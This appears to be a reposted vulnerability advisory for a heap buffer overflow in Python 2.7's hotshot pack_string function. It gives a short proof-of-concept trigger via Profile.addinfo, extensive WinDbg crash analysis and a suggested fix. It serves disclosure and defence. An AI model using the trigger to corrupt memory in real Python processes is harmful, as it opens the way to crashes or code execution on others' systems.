Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86383520

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

Title: Python 2.7 hotshot pack_string Heap Buffer Overflow
Credit: John Leitch (john@autosectools.com)
Url1: http://autosectools.com/Page/Python-hotshot-pack_string-Heap-Buffer-Overflow
Url2: http://bugs.python.org/issue24481
Resolution: Fixed

The Python 2.7 hotspot module suffer from a heap buffer overflow due to a memcpy in the pack_string function at line 633:

static int
pack_string(ProfilerObject *self, const char *s, Py_ssize_t len)
{
    if (len + PISIZE + self->index >= BUFFERSIZE) {
        if (flush_data(self) < 0)
            return -1;
    }
    assert(len < INT_MAX);
    if (pack_packed_int(self, (int)len) < 0)
        return -1;
    memcpy(self->buffer + self->index, s, len);
    self->index += len;
    return 0;
}

The problem arises because const char *s is variable length, while ProfilerObject.buffer is fixed-length:

typedef struct {
    PyObject_HEAD
    PyObject *filemap;
    PyObject *logfilename;
    Py_ssize_t index;
    unsigned char buffer[BUFFERSIZE];
    FILE *logfp;
    int lineevents;
    int linetimings;
    int frametimings;
    /* size_t filled; */
    int active;
    int next_fileno;
    hs_time prev_timeofday;
} ProfilerObject;

An overflow can be triggered by passing a large string to the Profile.addinfo method via the value parameter:

from hotshot.stats import *
x = hotshot.Profile("A", "A")
x.addinfo("A", "A" * 0xfceb)

Which produces the following exception:

0:000> r
eax=00000041 ebx=0000fceb ecx=00003532 edx=00000002 esi=075dcb35 edi=075d9000
eip=6c29af1c esp=0027fc78 ebp=0027fc80 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
MSVCR90!LeadUpVec+0x70:
6c29af1c f3a5            rep movs dword ptr es:[edi],dword ptr [esi]
0:000> db edi-0x10
075d8ff0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
075d9000  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
075d9010  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
075d9020  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
075d9030  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
075d9040  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
075d9050  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
075d9060  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
0:000> db esi
075dcb35  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
075dcb45  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
075dcb55  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
075dcb65  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
075dcb75  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
075dcb85  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
075dcb95  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
075dcba5  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0:000> !heap -p -a edi
    address 075d9000 found in
    _DPH_HEAP_ROOT @ 6ca1000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                                 722809c:          75d67c8             2838 -          75d6000             4000
    6c3194ec verifier!AVrfDebugPageHeapAllocate+0x0000023c
    77a257b7 ntdll!RtlDebugAllocateHeap+0x0000003c
    779c77ce ntdll!RtlpAllocateHeap+0x0004665a
    77981134 ntdll!RtlAllocateHeap+0x0000014d
    6c2c3db8 MSVCR90!malloc+0x00000079 [f:\dd\vctools\crt_bld\self_x86\crt\src\malloc.c @ 163]
    1e0ae6d1 python27!PyObject_Malloc+0x00000161 [c:\build27\cpython\objects\obmalloc.c @ 968]

 
0:000> !heap -p -a esi
    address 075dcb35 found in
    _DPH_HEAP_ROOT @ 6ca1000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                                 7228068:          75da300             fd00 -          75da000            11000
    6c3194ec verifier!AVrfDebugPageHeapAllocate+0x0000023c
    77a257b7 ntdll!RtlDebugAllocateHeap+0x0000003c
    779c77ce ntdll!RtlpAllocateHeap+0x0004665a
    77981134 ntdll!RtlAllocateHeap+0x0000014d
    6c2c3db8 MSVCR90!malloc+0x00000079 [f:\dd\vctools\crt_bld\self_x86\crt\src\malloc.c @ 163]
    1e0ae6d1 python27!PyObject_Malloc+0x00000161 [c:\build27\cpython\objects\obmalloc.c @ 968]

 
0:000> k4
ChildEBP RetAddr  
0027fc80 1e008380 MSVCR90!LeadUpVec+0x70 [f:\dd\vctools\crt_bld\SELF_X86\crt\src\INTEL\memcpy.asm @ 289]
0027fc90 1e008407 python27!pack_string+0x40 [c:\build27\cpython\modules\_hotshot.c @ 634]
0027fca8 1e0089bb python27!pack_add_info+0x77 [c:\build27\cpython\modules\_hotshot.c @ 652]
0027fcc0 1e0aafd7 python27!profiler_addinfo+0x5b [c:\build27\cpython\modules\_hotshot.c @ 1020]
0:000> .frame 1
01 0027fc90 1e008407 python27!pack_string+0x40 [c:\build27\cpython\modules\_hotshot.c @ 634]
0:000> dV
           self = 0x075dcb35
              s = 0x075da314 "AAAAAAAAAAAAAAAAAAA[...]AA..."
            len = 0n123572224
0:000> dt self
Local var @ esi Type ProfilerObject*
   +0x000 ob_refcnt        : 0n1094795585
   +0x004 ob_type          : 0x41414141 _typeobject
   +0x008 filemap          : 0x41414141 _object
   +0x00c logfilename      : 0x41414141 _object
   +0x010 index            : 0n1094795585
   +0x014 buffer           : [10240]  "AAAAAAAAAAAAAAAAAAA[...]AA..."
   +0x2814 logfp            : 0x41414141 _iobuf
   +0x2818 lineevents       : 0n1094795585
   +0x281c linetimings      : 0n1094795585
   +0x2820 frametimings     : 0n1094795585
   +0x2824 active           : 0n1094795585
   +0x2828 next_fileno      : 0n1094795585
   +0x2830 prev_timeofday   : 0n4702111234474983745

0:000> !analyze -v -nodb
*******************************************************************************
*                                                                             *
*                        Exception Analysis                                   *
*                                                                             *
*******************************************************************************


FAULTING_IP: 
MSVCR90!LeadUpVec+70 [f:\dd\vctools\crt_bld\SELF_X86\crt\src\INTEL\memcpy.asm @ 289]
6c29af1c f3a5            rep movs dword ptr es:[edi],dword ptr [esi]

EXCEPTION_RECORD:  ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 6c29af1c (MSVCR90!LeadUpVec+0x00000070)
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000000
NumberParameters: 2
   Parameter[0]: 00000001
   Parameter[1]: 075d9000
Attempt to write to address 075d9000

CONTEXT:  00000000 -- (.cxr 0x0;r)
eax=00000041 ebx=0000fceb ecx=00003532 edx=00000002 esi=075dcb35 edi=075d9000
eip=6c29af1c esp=0027fc78 ebp=0027fc80 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
MSVCR90!LeadUpVec+0x70:
6c29af1c f3a5            rep movs dword ptr es:[edi],dword ptr [esi]

FAULTING_THREAD:  000013b0

PROCESS_NAME:  pythonw.exe

ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%08lx referenced memory at 0x%08lx. The memory could not be %s.

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%08lx referenced memory at 0x%08lx. The memory could not be %s.

EXCEPTION_PARAMETER1:  00000001

EXCEPTION_PARAMETER2:  075d9000

WRITE_ADDRESS:  075d9000 

FOLLOWUP_IP: 
MSVCR90!LeadUpVec+70 [f:\dd\vctools\crt_bld\SELF_X86\crt\src\INTEL\memcpy.asm @ 289]
6c29af1c f3a5            rep movs dword ptr es:[edi],dword ptr [esi]

NTGLOBALFLAG:  2000000

APPLICATION_VERIFIER_FLAGS:  0

APP:  pythonw.exe

ANALYSIS_VERSION: 6.3.9600.17029 (debuggers(dbg).140219-1702) x86fre

BUGCHECK_STR:  APPLICATION_FAULT_STRING_DEREFERENCE_INVALID_POINTER_WRITE_EXPLOITABLE_FILL_PATTERN_NXCODE

PRIMARY_PROBLEM_CLASS:  STRING_DEREFERENCE_EXPLOITABLE_FILL_PATTERN_NXCODE

DEFAULT_BUCKET_ID:  STRING_DEREFERENCE_EXPLOITABLE_FILL_PATTERN_NXCODE

LAST_CONTROL_TRANSFER:  from 1e008380 to 6c29af1c

STACK_TEXT:  
0027fc80 1e008380 075d67df 075da314 0000fceb MSVCR90!LeadUpVec+0x70
0027fc90 1e008407 075da314 1e008960 00000000 python27!pack_string+0x40
0027fca8 1e0089bb 072e67b4 075da314 0769e788 python27!pack_add_info+0x77
0027fcc0 1e0aafd7 075d67c8 071aabc0 0769e788 python27!profiler_addinfo+0x5b
0027fcd8 1e0edd10 0769e788 071aabc0 00000000 python27!PyCFunction_Call+0x47
0027fd04 1e0f017a 0027fd5c 06d57b18 06d57b18 python27!call_function+0x2b0
0027fd74 1e0f1150 071a9870 00000000 06d57b18 python27!PyEval_EvalFrameEx+0x239a
0027fda8 1e0f11b2 06d57b18 071a9870 06d5ba50 python27!PyEval_EvalCodeEx+0x690
0027fdd4 1e11707a 06d57b18 06d5ba50 06d5ba50 python27!PyEval_EvalCode+0x22
0027fdec 1e1181c5 0722e260 06d5ba50 06d5ba50 python27!run_mod+0x2a
0027fe0c 1e118760 6c2f7408 06d17fac 00000101 python27!PyRun_FileExFlags+0x75
0027fe4c 1e1190d9 6c2f7408 06d17fac 00000001 python27!PyRun_SimpleFileExFlags+0x190
0027fe68 1e038d35 6c2f7408 06d17fac 00000001 python27!PyRun_AnyFileExFlags+0x59
0027fee4 1d001017 00000002 06d17f88 1d0011b6 python27!Py_Main+0x965
0027fef0 1d0011b6 1d000000 00000000 04d3ffa8 pythonw!WinMain+0x17
0027ff80 76477c04 7ffde000 76477be0 63080f16 pythonw!__tmainCRTStartup+0x140
0027ff94 7799ad1f 7ffde000 62fa2f53 00000000 KERNEL32!BaseThreadInitThunk+0x24
0027ffdc 7799acea ffffffff 77980228 00000000 ntdll!__RtlUserThreadStart+0x2f
0027ffec 00000000 1d001395 7ffde000 00000000 ntdll!_RtlUserThreadStart+0x1b


STACK_COMMAND:  .cxr 0x0 ; kb

FAULTING_SOURCE_LINE:  f:\dd\vctools\crt_bld\SELF_X86\crt\src\INTEL\memcpy.asm

FAULTING_SOURCE_FILE:  f:\dd\vctools\crt_bld\SELF_X86\crt\src\INTEL\memcpy.asm

FAULTING_SOURCE_LINE_NUMBER:  289

FAULTING_SOURCE_CODE:  
No source found for 'f:\dd\vctools\crt_bld\SELF_X86\crt\src\INTEL\memcpy.asm'


SYMBOL_STACK_INDEX:  0

SYMBOL_NAME:  msvcr90!LeadUpVec+70

FOLLOWUP_NAME:  MachineOwner

MODULE_NAME: MSVCR90

IMAGE_NAME:  MSVCR90.dll

DEBUG_FLR_IMAGE_TIMESTAMP:  51ea24a5

FAILURE_BUCKET_ID:  STRING_DEREFERENCE_EXPLOITABLE_FILL_PATTERN_NXCODE_c0000005_MSVCR90.dll!LeadUpVec

BUCKET_ID:  APPLICATION_FAULT_STRING_DEREFERENCE_INVALID_POINTER_WRITE_EXPLOITABLE_FILL_PATTERN_NXCODE_msvcr90!LeadUpVec+70

ANALYSIS_SOURCE:  UM

FAILURE_ID_HASH_STRING:  um:string_dereference_exploitable_fill_pattern_nxcode_c0000005_msvcr90.dll!leadupvec

FAILURE_ID_HASH:  {006f2a1a-db5d-7798-544b-da0c2e0bcf19}

Followup: MachineOwner
---------

To fix the issue, pack_string should confirm that the fixed-length buffer is of sufficient size prior to performing the memcpy.